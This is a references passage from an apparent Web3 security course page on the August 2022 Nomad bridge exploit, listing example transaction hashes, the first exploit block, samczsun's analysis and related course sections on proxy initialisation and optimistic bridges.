- Example exploit transaction:
0xa5fe9d044e4f3e5aa5bc4c0709333cd2190cba0f4e7f16bcf73f49f83e4a5460(Mandiant-referenced sample) — https://etherscan.io/tx/0xa5fe9d044e4f3e5aa5bc4c0709333cd2190cba0f4e7f16bcf73f49f83e4a5460 - Example exploit transaction:
0xb1fe26cc8892f58eb468f5208baaf38bac422b5752cca0b9c8a871855d63ae28(REKT-referenced sample) - Block of first exploit: Ethereum block 15259101 (~21:32 UTC, August 1, 2022). [verify via your own block explorer]
samczsun’s analysis
- samczsun’s Twitter thread on the exploit (August 1, 2022). Note: link surfaced via secondary reporting; check the Wayback Machine for the original thread if his account is unavailable. The summary quote — “Being able to process a message without proving it first is extremely Not Good” — captures the entire bug in one sentence.
Related course material
- Tuan-05-Vulnerability-Classes-Part-1 §4.4 — uninitialised proxy / implementation, the wider family of init bugs.
- Tuan-10-Bridge-Cross-Chain-Security §4.4 — optimistic bridges, design space.
- Tuan-10-Bridge-Cross-Chain-Security §7.4 — one-paragraph version of this case study.
- Tuan-10-Bridge-Cross-Chain-Security §8.3 —
NomadLitelab (simpler reproduction).
Last updated: 2026-05-16 · Course: Web3 Security Mastery · Author: vault owner · Status: complete · Flags: 4 × [verify] embedded above for items requiring primary-source confirmation.